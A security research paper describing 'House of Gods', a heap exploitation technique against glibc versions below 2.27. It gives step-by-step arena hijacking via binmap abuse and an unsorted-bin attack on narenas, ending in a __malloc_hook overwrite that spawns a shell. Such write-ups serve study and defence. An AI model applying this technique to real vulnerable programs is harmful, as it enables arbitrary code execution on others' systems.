HOUSE_OF_GODS.TXT

<============================== HOUSE OF GODS ==============================>

                       *****                            
                      ***&&&*            _, .--.  
                     *&&&&&&*           (  / (  '-.            
                    *&&&&&&&*           .-=-.    ) -.      
                 _&*********           /   (  .' .   \                                
                | |                    \ ( ' ,_) ) \_/ 
            *-------*                    (_ , /\  ,_/
           /         \                    '--\ `\--` 
          *___________*                      _\ _\
          |           |  House of Gods       `\ \ 
          |     _     |  == by milo           _\_\
          |    | |    |                       `\\
          |    | |    |                         \\
    ========================================-.'.`\.'.-==========

=== Table of Contents ===

1 Abstract...........................................................
2 Technical Requirements.............................................
3 The Exploitation Concepts..........................................
    3.1 Stage 0 - Preparation Phase..................................
    3.2 Stage 1 - Attacking the binmaps..............................
    3.3 Stage 2 - Hijacking the arena................................
    3.4 Stage 3 - Arbitrary code execution...........................
4 Proof of Concept...................................................
5 Conclusion.........................................................
6 References.........................................................

<--[ 1. Abstract ]-->

House of Gods is a heap exploitation technique developed for binaries 
linked against the GNU C Library version < 2.27. Although not the most
recent version, it is, in my opinion, still a very interesting technique.

This paper demonstrates how to hijack the arena with only 8 allocations and a single
write-after-free bug on an unsorted chunk. After that, two more allocations are needed 
in order to execute arbitrary code.

The exploit was successfully tested against 

    - glibc-2.23
    - glibc-2.24
    - glibc-2.25
    - glibc-2.26

<--[ 2. Technical Requirements ]-->

Following requirements are mandatory in order to launch the House of Gods technique

    - glibc version < 2.27
    - atleast 10 allocations of arbitrary size
    - control over atleast 5 quadwords of a chunk's userdata
    - a single write-after-free bug on an unsorted-chunk
    - heap and libc leak

<--[ 3. The Exploitation Concepts ]-->

House of Gods can be divided into four stages,

    Stage 0: Preparation Phase
    Stage 1: Attacking the binmaps
    Stage 2: Hijacking the arena
    Stage 3: Arbitrary code execution

The following sections will take an in-depth look at the internals of this exploit.

<--[ 3.1 Preparation Phase ]-->

The purpose of the preparation phase is to allocate and setup a (partial) fake-arena. Usually, 
we could omit this phase by placing the fake-arena within one of the future chunks. But, in my 
opinion, the exploit is more readable if we allocate a separate chunk for our arena. That is also
why we will end up with a total of 11 allocations instead of the promised 10 allocations. 

However, let us start...

Stage 3, the last stage, is going to target the __malloc_hook in order to drop a shell. We already
know that there is a fake fastchunk overlapping the __malloc_hook, residing at __malloc_hook-0x23

    0x00007f5ca76f6bcd 5ca76f2f00000000 000000000000007f
    0x00007f5ca76f6bdd 5ca73cc460000000 5ca73cc8c000007f
    0x00007f5ca76f6bed 000000000000007f 0000000000000000
    0x00007f5ca76f6bfd 0000000000000000 0001409100000000

We can preload the head of the 0x70-fastbin of our fake-arena with the address of this fakechunk.
This leads to malloc returning a pointer to __malloc_hook-0x23 as soon as we make a request
for a 0x70-chunk.

Let us inspect the first eight quadwords of the arena layout

    struct malloc_state {

        +0x0000 mutex                : __libc_lock_t
        +0x0004 flags                : int
        +0x0008 fastbinsY            : mfastbinptr [10]

        [...]
    }

    0x00007f5ca76f6c00 0000000000000000 0000000000000000 <- mutex+flags, 0x20-fastbin
    0x00007f5ca76f6c10 0000000000000000 0000000000000000
    0x00007f5ca76f6c20 0000000000000000 0000000000000000
    0x00007f5ca76f6c30 0000000000000000 0000000000000000 <- 0x70-fastbin, 0x80-fastbin

We don't need to fake the whole arena in order to allocate from the fastbins. In fact, it is enough
to setup only the first seven quadwords of our arena (up to the 0x70-fastbin). Besides that, we have
to ensure, that its mutex and flags are in tact, i.e. no locks or corruption bits.

So in summary,

    - fake_arena.mutex        = 0x0
    - fake_arena.flags        = 0x0
    - fake_arena.fastbinsY[5] = __malloc_hook - 0x23

A valid partial fake-arena should look similar to this

    0x0000000001409000 0000000000000000 0000000000000031 <- mutex+flags, 0x20-fastbin
    0x0000000001409010 0000000000000000 0000000000000000  
    0x0000000001409020 0000000000000000 0000000000000000
    0x0000000001409030 00007f5ca76f6bcd 0000000000000091 <- 0x70-fastbin, 0x80-fastbin

Now that the preparation phase is over, it is time to move on to the core
of this exploitation technique.

<--[ 3.2 Attacking the binmaps ]-->

Each arena has a member called binmap

    struct malloc_state
    {
      [...]

      /* Bitmap of bins */
      unsigned int binmap[BINMAPSIZE];

      /* Linked list */
      struct malloc_state *next;

      /* Linked list for free arenas.  Access to this field is serialized
         by free_list_lock in arena.c.  */
      struct malloc_state *next_free;

      /* Number of threads attached to this arena.  0 if the arena is on
         the free list.  Access to this field is serialized by
         free_list_lock in arena.c.  */
      INTERNAL_SIZE_T attached_threads;

      /* Memory allocated from the system in this arena.  */
      INTERNAL_SIZE_T system_mem;
      INTERNAL_SIZE_T max_system_mem;
    };

This binmap serves as a bitmap for occupied bins so that malloc can quickly
lookup these bins and recycle a chunk for allocation.

Everytime an unsorted chunk gets placed into its appropiate smallbin/largebin,
malloc marks the binmap via following macro

    mark_bin(m, i) ((m)->binmap[idx2block (i)] |= idx2bit (i))

and after resolving the macro (we start to regret our decisions)

    ((m)->binmap[ ((i) >> 5) ] |= ((1U << ((i) & ((1U << 5) - 1)))))

So, we should be able to calculate the resulting binmap value for a given chunksize.
But why should we do this after all ? 

Well, let's take a look at the raw memory of the main_arena

                                         [1]        [0]
    0x00007ffff7dd3450 00007ffff7dd3438 0000000000000000 <- binmap[0, 1] (fake sizefield)
    0x00007ffff7dd3460 0000000000000000 00007ffff7dd2c00 <- next (fake bk pointer)
    0x00007ffff7dd3470 0000000000000000 0000000000000001
    0x00007ffff7dd3480 0000000000021000 0000000000021000 <- system_mem, max_system_mem

The first quadword of the binmap can be repurposed as fake sizefield and the
main_arena's next pointer naturally points to the start of the main_arena 
(atleast right after initialization). Thus providing one with a bk pointer to
a write-able page.

And now let's recall the unsorted-bin scan and its sanity-checks for unsorted chunks. The first
check is a test on a chunk's sizefield. This check aborts the process if chunksize <= 2 * SIZE_SZ 
or chunksize > av->system_mem

    if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0) ||
        __builtin_expect (chunksize_nomask (victim) > av->system_mem, 0))
            malloc_printerr (check_action, "malloc(): memory corruption", chunk2mem (victim), av);

The second test is an implicit one. In order to safely pass the partial unlinking without segfaulting, 
one needs to forge a bk pointer to an address within a write-able page. Also there is no need to control
bck->fd, since we are exploiting glibc < 2.27.

    /* remove from unsorted list */
    unsorted_chunks (av)->bk = bck;
    bck->fd = unsorted_chunks (av);

Both requirements can be satisfied if we craft a valid fake sizefield by simply allocating and 
freeing chunks. For example, binning a 0x90-chunk results in a 0x200-sizefield

    0x00007ffff7dd3450 00007ffff7dd3438 0000000000000200 <- valid sizefield
    0x00007ffff7dd3460 0000000000000000 00007ffff7dd2c00 <- valid bk pointer
    0x00007ffff7dd3470 0000000000000000 0000000000000001
    0x00007ffff7dd3480 0000000000021000 0000000000021000

Now this binmap-chunk can be linked into the unsorted-bin via an use-after-free bug.

                          (exact-fit)
     ------------        --------------
    | main_arena | <--- | binmap-chunk | <----+
     ------------   bk   --------------       | bk (corrupted)
                                              |
                                        ----------- 
                            size: 0x90 | UAF chunk | (bin this to forge sizefield)
                                        -----------
                                            | ^ 
                                         fd | |
                         --------------  <--- |
                        | unsorted-bin | -----+ bk
                         --------------

Once linked into the unsorted-bin, the binmap chunk can be allocated as an exact fit, allowing
us to overwrite sensitive data within the main_arena. We're going to allocate this chunk at the end
of this stage and use it later in stage 2 to overwrite sensitive data. But for now we should focus 
on fixing the unsorted-bin...

We wont survive another unsorted-bin scan, since the chunk overlapping the main_arena has neither 
a valid sizefield nor a valid bk pointer

    0x00007ffff7dd2c00 0000000000000000 0000000000000000 <- sizefield  (< 2 * SIZE_SZ)
    0x00007ffff7dd2c10 00007fd27ea0bc58 0000000000000000 <- bk pointer (= NULL)
    0x00007ffff7dd2c20 0000000000000000 0000000000000000
    0x00007ffff7dd2c30 0000000000000000 0000000000000000

So let us enhance our "chain". First, take a look at the malloc_state memory layout

    0x00007ffff7dd2c00 0000000000000000 0000000000000000 <- 0x20-fastbins (sizefield)
    0x00007ffff7dd2c10 00007fd27ea0bc58 0000000000000000 <- 0x30-fastbins, 0x40-fastbins (bk)
    0x00007ffff7dd2c20 0000000000000000 0000000000000000
    0x00007ffff7dd2c30 0000000000000000 0000000000000000

We can create a valid sizefield and valid bk pointer by binning fastchunks into the
0x20-fastbins and 0x40-fastbins. Remember, we are able to tamper with main_arena.system_mem,
so passing the size sanity-check within the unsorted-bin should not be a problem at all. That is 
why we are able to abuse a heap pointer as sizefield. 

Once both fastchunks are free'd, the main_arena should look similar to this

    0x00007ffff7dd2c00 0000000000000000 00000000008580d0 <- 0x20-fastbins (sizefield)
    0x00007ffff7dd2c10 00007fd27ea0bc58 0000000000858090 <- 0x30-fastbins, 0x40-fastbins (bk)
    0x00007ffff7dd2c20 0000000000000000 0000000000000000
    0x00007ffff7dd2c30 0000000000000000 0000000000000000

and should pass all incoming checks. Furthermore the next victim chunk (bk) will be our
recently free'd 0x40-fastchunk. Freeing fastchunks will clear the fd pointer but spare
the bk pointer. We can abuse this fact to redirect the unsorted-bin one more time to
a chunk we fully control (called INTM, intermediate chunk).

                                             (exact-fit)
     -----------        ------------        --------------
    | 0x40-fast | <--- | main_arena | <--- | binmap-chunk | <---+
     -----------        ------------   bk   --------------      | bk (corrupted)
        | bk                                                    |
        v                                                       |
       ------                                            ----------- 
      | INTM |                                          | UAF chunk | (bin this to forge sizefield)
       ------                                            -----------
                                                              | ^ 
                                                           fd | |
                                           --------------  <--- |
                                          | unsorted-bin | -----+ bk
                                           --------------
And after allocating the binmap chunk

     ------        -----------
    | INTM | <--- | 0x40-fast | <---+
     ------   bk   -----------      | bk
                                    |
                                    |
                             ------------ 
                            | main_arena |
                             ------------
                                  | ^ 
                               fd | |
               --------------  <--- |
              | unsorted-bin | -----+ bk
               --------------

And that is a binmap-attack. We successfully gained control over 

    -> main_arena.next
    -> main_arena.next_free
    -> main_arena.attached_threads
    -> main_arena.system_mem
    -> main_arena.max_system_mem
    -> and even more, depending on the binmap sizefield...

Additionally, we managed to fix the unsorted-bin, which is vital to the next stage. 

<--[ 3.3 Hijacking the arena ]-->

So how can we take advantage of the ability to overwrite the arena's next pointer ? Here is
a small diagram depicting how malloc uses the next pointer to chain multiple arenas

               main_arena
    +-----------------------------+
    | flags, mutex |              |
    |-----------------------------|
    |                             |
    |                             |                 n-th arena           
    |-----------------------------|      +-----------------------------+
    |              |     next     | ---> | flags, mutex |              |
    |-----------------------------|      |-----------------------------|
    |                             |      |                             |
    +-----------------------------+      |                             |
                                         |-----------------------------|
                                         |              |     next     | ---> [...]
                                         |-----------------------------|
                                         |                             |
                                         +-----------------------------+

If malloc creates a new arena, it links it into a circular singly-linked list. This list
is a LIFO structure with the main_arena as head. A new arena will be linked in between
the main_arena and the n-th arena (last arena created).

However, there is a limit to how many arenas can be created. This limit is highly machine dependent.
To be more precise, it depends on the total number of processors configured by the operating system.

    static mstate internal_function arena_get2(size_t size, mstate avoid_arena)
    {
      [...]

      int n = __get_nprocs ();

      if (n >= 1)
        narenas_limit = NARENAS_FROM_NCORES (n);
      else
        /* We have no information about the system. Assume two cores. */
        narenas_limit = NARENAS_FROM_NCORES (2);

      [...]

      repeat:;
      size_t n = narenas;

      /* NB: the following depends on the fact that (size_t)0 - 1 is a
         very large number and that the underflow is OK.  If arena_max
         is set the value of arena_test is irrelevant.  If arena_test
         is set but narenas is not yet larger or equal to arena_test
         narenas_limit is 0.  There is no possibility for narenas to
         be too big for the test to always fail since there is not
         enough address space to create that many arenas.  */

      if (__glibc_unlikely (n <= narenas_limit - 1))
      {
        if (catomic_compare_and_exchange_bool_acq (&narenas, n + 1, n))
          goto repeat;

        a = _int_new_arena (size);

        if (__glibc_unlikely (a == NULL))
          catomic_decrement (&narenas);
      }
      else
        a = reused_arena (avoid_arena);

      [...]
    }

If malloc reaches the upper limit of active arenas (narenas > narenas_limit - 1), it will stop 
creating new ones and instead try to reuse existing arenas by iterating over the arena list
and returning the first non-corrupted, non-locked arena.

    static mstate reused_arena(mstate avoid_arena)
    {
      mstate result;
      static mstate next_to_use;

      if (next_to_use == NULL)
        next_to_use = &main_arena;

      /* Iterate over all arenas (including those linked from free_list). */
      result = next_to_use;

      do {

        if (!arena_is_corrupt (result) && !__libc_lock_trylock (result->mutex))
          goto out;

        result = result->next;

      } while (result != next_to_use);

      [...]

      out:

      [...]

      return result;
    }

So that's where it starts to get interesting. We are in control of main_arena.next and the traversal 
starts at the main_arena. What if we can trick the reused_arena() function to return our main_arena.next 
pointer ? Exactly that is the end goal of stage 2 of the House of Gods technique.

In order to reach the reused_arena() function, we need to somehow exceed the upper limit of 
total arenas. There are actually multiple ways to achieve this. We are going to focus on the 
narenas variable...

The global narenas variable stores the total number of arenas currently inuse. So if we manage
to manipulate this variable by launching an unsorted-bin attack against narenas-0x10, we could overwrite
it with the address of the unsorted-bin, which should be large enough to exceed narenas_limit.

So let us extend our previous unsorted-bin chain one more time, by linking the intermediate chunk (INTM)
with narenas-0x10

                         (exact fit)
     --------------        ------        -----------
    | narenas-0x10 | <--- | INTM | <--- | 0x40-fast | <---+
     --------------   bk   ------   bk   -----------      | bk
                                                          |
                                                          |
                                                   ------------ 
                                                  | main_arena |
                                                   ------------
                                                        | ^ 
                                                     fd | |
                                     --------------  <--- |
                                    | unsorted-bin | -----+ bk
                                     --------------

Now is the right time to tamper with the previously allocated binmap chunk. We need to adjust
atleast two values within the main_arena

    1. main_arena.next, in order to inject our fake arena
    2. main_arena.system_mem, in order to bypass size sanity-checks for the main_arena chunk

For example we could write following values to the binmap chunk

    main_arena.next             = fake_arena
    main_arena.next_free        = 0x0000000000000000
    main_arena.attached_threads = 0x0000000000000001
    main_arena.system_mem       = 0xffffffffffffffff
    main_arena.max_system_mem   = 0xffffffffffffffff

And now, let us initiate the unsorted-bin attack by allocating the INTM chunk as exact fit.

                   --------------
                  | narenas-0x10 |
                   --------------
                        | ^ 
                     fd | |
     --------------  <--- |
    | unsorted-bin | -----+ bk
     --------------

The narenas variable is now set to the address of the unsorted-bin, and we are finally able 
to branch into the reused_arena() function.

    static mstate internal_function arena_get2(size_t size, mstate avoid_arena)
    {
      [...]

      size_t n = narenas; //<<<< narenas = &unsorted-bin = &main_arena.top

      if (__glibc_unlikely (n <= narenas_limit - 1)) //<<<< false
      {
        if (catomic_compare_and_exchange_bool_acq (&narenas, n + 1, n))
          goto repeat;

        a = _int_new_arena (size);

        if (__glibc_unlikely (a == NULL))
          catomic_decrement (&narenas);
      }
      else
        a = reused_arena (avoid_arena);

      [...]
    }

But how do we get there in the first place ? When does malloc call arena_get2() ? 
In order to answer this question, we need to investigate the __libc_malloc() function...

    void* __libc_malloc(size_t bytes)
    {
      [...]

      arena_get (ar_ptr, bytes);
      victim = _int_malloc (ar_ptr, bytes);

      /* Retry with another arena only if we were able to find a usable arena
      before.  */

      if (!victim && ar_ptr != NULL)
      {
        LIBC_PROBE (memory_malloc_retry, 1, bytes);
        ar_ptr = arena_get_retry (ar_ptr, bytes);
        victim = _int_malloc (ar_ptr, bytes);
      }

      [...]
    }

Before malloc even tries to service a memory request, it needs to find an available arena. 
arena_get() is defined as a macro

    #define arena_get(ptr, size) do {   \
                                        \
              ptr = thread_arena;       \
              arena_lock (ptr, size);   \
                                        \
            } while (0)

First, malloc tries to acquire the last successfully locked arena (thread_arena) by trying
to lock its mutex again with arena_lock(ptr, size)

    #define arena_lock(ptr, size) do {            \
                                                  \
              if (ptr && !arena_is_corrupt (ptr)) \
                __libc_lock_lock (ptr->mutex);    \
              else                                \
                ptr = arena_get2 ((size), NULL);  \
                                                  \
            } while (0)

There are two possible ways to reach the arena_get2() call

    1. ptr = thread_arena = NULL
    2. arena_is_corrupt(ptr) = true

Option 1 does not seem too promising, since we have no control over thread_arena. Option 2 was
target of the very first revision of this technique and it did work out pretty well. However,
there is a better way with less allocations. So, let's head back to the __libc_malloc() function
for further investigation

    void* __libc_malloc(size_t bytes)
    {
      [...]

      arena_get (ar_ptr, bytes); //<<<< not an option
      victim = _int_malloc (ar_ptr, bytes);

      /* Retry with another arena only if we were able to find a usable arena
      before.  */

      if (!victim && ar_ptr != NULL)
      {
        LIBC_PROBE (memory_malloc_retry, 1, bytes);
        ar_ptr = arena_get_retry (ar_ptr, bytes); //<<<< maybe this one ?
        victim = _int_malloc (ar_ptr, bytes);
      }

      [...]
    }

There is an interesting function call located right after malloc's first try to allocate memory 
via _int_malloc(). Let's take a closer look at arena_get_retry()

    static mstate arena_get_retry(mstate ar_ptr, size_t bytes)
    {
      LIBC_PROBE (memory_arena_retry, 2, bytes, ar_ptr);

      if (ar_ptr != &main_arena)
        {
          __libc_lock_unlock (ar_ptr->mutex);

          /* Don't touch the main arena if it is corrupt.  */
          if (arena_is_corrupt (&main_arena))
            return NULL;

          ar_ptr = &main_arena;
          __libc_lock_lock (ar_ptr->mutex);
        }
      else
        {
          __libc_lock_unlock (ar_ptr->mutex);
          ar_ptr = arena_get2 (bytes, ar_ptr); //<<<< our goal
        }

      return ar_ptr;
    }

If the currently active arena is the main_arena, arena_get_retry() will call arena_get2(), which
is exactly what we want. Luckily, we meet this condition. Our currently active arena
is indeed the main_arena. Now we only have to figure out how to reach arena_get_retry()

    void* __libc_malloc(size_t bytes)
    {
      [...]

      victim = _int_malloc (ar_ptr, bytes);

      if (!victim && ar_ptr != NULL)
      {
        LIBC_PROBE (memory_malloc_retry, 1, bytes);
        ar_ptr = arena_get_retry (ar_ptr, bytes); //<<<< maybe this one ?
        victim = _int_malloc (ar_ptr, bytes);
      }

      [...]
    }

We have to ensure that both conditions are met

    1. victim = _int_malloc() = NULL
    2. ar_ptr != NULL

The local variable ar_ptr holds the currently used arena, which is the main_arena in our 
case. Thus the second condition won't be a problem. The first condition requires a failure
within the _int_malloc() function. Let's see if there is a way...

    static void* _int_malloc(mstate av, size_t bytes)
    {
      [...]

      checked_request2size (bytes, nb);

      if (__glibc_unlikely (av == NULL))
        {
          void *p = sysmalloc (nb, av);

          if (p != NULL)
            alloc_perturb (p, bytes);

          return p;
        }

      [...]
    }

The purpose of the checked_request2size() macro is to pad and align the chunksize
requested by the user. Before doing so, it checks for potential wrap-arounds. If the size
is large enough to wrap-around zero when padded and aligned, it will return NULL instead of 
servicing the request.

    #define checked_request2size(req, sz) \
                                          \
      if (REQUEST_OUT_OF_RANGE (req)) {   \
                                          \
          __set_errno (ENOMEM);           \
          return 0;                       \
        }                                 \
                                          \
      (sz) = request2size (req);          \

Let's disassemble the start of _int_malloc() in order to find this upper limit

    000000000007e470 <_int_malloc>:
        7e470:   41 57                   push   r15
        7e472:   41 56                   push   r14
        7e474:   41 55                   push   r13
        7e476:   41 54                   push   r12
        7e478:   55                      push   rbp
        7e479:   53                      push   rbx
        7e47a:   48 83 ec 58             sub    rsp, 0x58
        7e47e:   48 83 fe bf             cmp    rsi, 0xffffffffffffffbf
        7e482:   0f 87 0d 08 00 00       ja     7ec95 <_int_malloc+0x825>

The second argument of _int_malloc(), the requested size, is stored in rsi. 
If it's greater than 0xffffffffffffffbf, the function returns NULL. So if we make
a call to malloc with

    malloc(0xffffffffffffffbf + 1);

the first attempt to service this request will fail and return NULL.

    void* __libc_malloc(size_t bytes)
    {
      [...]

      arena_get (ar_ptr, bytes); //<<<< not an option
      victim = _int_malloc (ar_ptr, bytes);

      [...]
    }

Right after that, malloc will retry the allocation, but this time with another arena.

    void* __libc_malloc(size_t bytes)
    {
      [...]

      /* Retry with another arena only if we were able to find a usable arena
      before.  */

      if (!victim && ar_ptr != NULL)
      {
        LIBC_PROBE (memory_malloc_retry, 1, bytes);
        ar_ptr = arena_get_retry (ar_ptr, bytes); //<<<< maybe this one ?
        victim = _int_malloc (ar_ptr, bytes);
      }

      [...]
    }

This in turn, will trigger a call to arena_get_retry(), arena_get2() and finally reused_arena().
The reused_arena() function will then iterate over all arenas (starting with the main_arena), including 
our fake-arena, which we previously injected by tampering with the main_arena.next pointer. It will 
return the first non-corrupted, non-locked arena it finds

    static mstate reused_arena(mstate avoid_arena)
    {

      [...]

      if (next_to_use == NULL)
        next_to_use = &main_arena;

      /* Iterate over all arenas (including those linked from free_list). */
      result = next_to_use;

      do {

        if (!arena_is_corrupt (result) && !__libc_lock_trylock (result->mutex))
          goto out;

        result = result->next;

      } while (result != next_to_use);

      [...]

      out:

      [...]

      thread_arena = result;
      next_to_use = result->next;

      return result;
    }

Sadly, the main_arena is neither corrupted nor locked, so the first call to reused_arena()
returns the main_arena instead of our fake-arena. But as we can see, the next_to_use variable
dictates the start of traversal

    static mstate reused_arena(mstate avoid_arena)
    {
      [...]

      if (next_to_use == NULL)
        next_to_use = &main_arena;

      /* Iterate over all arenas (including those linked from free_list). */
      result = next_to_use;

      [...]
    }

And here we assign result->next to the next_to_use variable. 

    static mstate reused_arena(mstate avoid_arena)
    {
      [...]

      thread_arena = result;
      next_to_use = result->next;

      return result;
    }

Since result is equals to main_arena upon first call, next_to_use will be equals to our 
fake-arena. We can simply make another request for an invalid chunksize. This triggers
a second call to reused_arena(), but this time it will return the fake-arena.

    malloc(0xffffffffffffffbf + 1); // first call

        result =                 main_arena
        next_to_use   +-----------------------------+
        ------------> | flags, mutex |              |
                      |-----------------------------|
                      |                             |
                      |                             |                        fake_arena           
                      |-----------------------------|  corrupted   +-----------------------------+
                      |              |     next     | -----------> | flags, mutex |              |
                      |-----------------------------|              |-----------------------------|
                      |                             |              |                             |
                      +-----------------------------+              |                             |
                                                                   |-----------------------------|
                                                                   |              |     next     | ---> ??
                                                                   |-----------------------------|
                                                                   |                             |
                                                                   +-----------------------------+

        thread_arena = result       = next_to_use      = &main_arena
        next_to_use  = result->next = main_arena->next = &fake_arena

    malloc(0xffffffffffffffbf + 1); // second call

        result =                 fake_arena
        next_to_use   +-----------------------------+
        ------------> | flags, mutex |              |
                      |-----------------------------|
                      |                             |
                      |                             |           
                      |-----------------------------|
                      |              |     next     | ---> ??
                      |-----------------------------|
                      |                             |
                      +-----------------------------+

        thread_arena = result       = next_to_use      = &fake_arena
        next_to_use  = result->next = fake_arena->next = ??

That's it. We hijacked thread_arena with only 9 allocations. Now it is time to move on to the
final stage of the exploit. It is probably the easiest part of the House of Gods technique.

<--[ 3.4 Arbitrary code execution ]-->

Remember the preparation phase ? We prepared a partial arena and preloaded the 0x70-fastbin
with a fakechunk starting at __malloc_hook-0x23.

    0x0000000001409000 0000000000000000 0000000000000031 <- mutex+flags, 0x20-fastbin
    0x0000000001409010 0000000000000000 0000000000000000  
    0x0000000001409020 0000000000000000 0000000000000000
    0x0000000001409030 00007f5ca76f6bcd 0000000000000091 <- 0x70-fastbin, 0x80-fastbin

We can simply request a 0x70-chunk. This request will be serviced from the fastbins and
malloc will return a pointer to __malloc_hook-0x23, which we can use to overwrite the __malloc_hook
with a custom handler, for example the system() function. We can trigger the hook by making
another call to malloc(), this time with the address of "/bin/sh" as argument.

    malloc(0x68);
    malloc(0x7fca39f978d5);

We finally made it. We performed the House of Gods to hijack the arena and drop a shell with only 
11 allocations, 10 if we were greedy with the allocations.

Before we jump to the conclusion, here are some important notes on the arena we hijacked

    - chunks that are returned by our arena must have the IS_MMAPED flag set, otherwise
      the process would most likely result in a segfault when trying to locate the arena's
      heap_info.ar_ptr pointer. This can be fixed, by placing a heap_info structure at the
      bottom of our fake-arena. But this would require multiple huge allocations in order to
      properly align the structure.  

    - make sure to fake the arena up to the .system_mem variable if you are planning to make 
      requests that can not be serviced from the fastbins

    - your fake-arena does not always have to return a chunk in order to gain arbitrary code
      execution. You can also preload the unsorted-bin and a couple smallbins/largebins to 
      forge a series of arbitrary writes and perform an attack against libio's filestreams   

<--[ 4. Proof of Concept ]-->

The proof of concept consists of a very simple vulnerable binary written in C and of 
course the actual exploit, written in Python. This exploit script performs the house of gods 
technique in order to obtain a shell. You can find all relevant files within this repository.

In order to execute the exploit type

    $ ./patch.sh && ./exploit.py

Have fun experimenting :)

<--[ 5. Conclusion ]-->

House of Gods has its advantages but also certainly some disadvantages.

    Advantages:

        - only a single WAF bug has to be abused to initiate the attack
        - only 8 allocations needed to hijack the thread_arena
        - arbitrary code execution after 10 allocations
        - can be used in scenarios without access to a WAF on fastchunks
        - it is a fun way to exploit the heap :)

    Disadvantages:

        - does not target recent versions (only glibc < 2.27) 
        - probably overkill if a WAF bug on fastchunks exists
        - requires allocation of arbitrary chunksizes

And here are the key takeaways of this technique

    (1) binmaps can be abused as fake sizefield by binning chunks. This is especially
        interesting because the corresponding fake bk/fd pointer (depending on glibc version)
        naturally points to the start of the main_arena, thus forming a valid pointer
        to a writeable page. Allocating this fakechunk might lead to an overwrite of
        main_arena.sysetm_mem, effectively bypassing some of the size sanity checks
        within malloc. Or this could enable one to takeover main_arena.next and/or
        main_arena.next_free

    (2) controlling main_arena.next comes with benefits and the arena can be hijacked if one
        manages to reach the reused_arena() function

    (3) the whole arena_get codepath seems to be a bit unprotected, even in the latest
        versions of glibc (2.35 by the time of writing this)

    (4) if malloc fails to service a request due to invalid request-size, it will start a
        second attempt with another arena. This seems to be odd behaviour since it was not the
        arena's fault. So the second attempt will fail, too, no matter which arena malloc picks.

<--[ 6. References ]-->

[0] ASCII-Art: https://www.oocities.org/spunk1111/nature.htm
[1] https://elixir.bootlin.com/glibc/glibc-2.26/source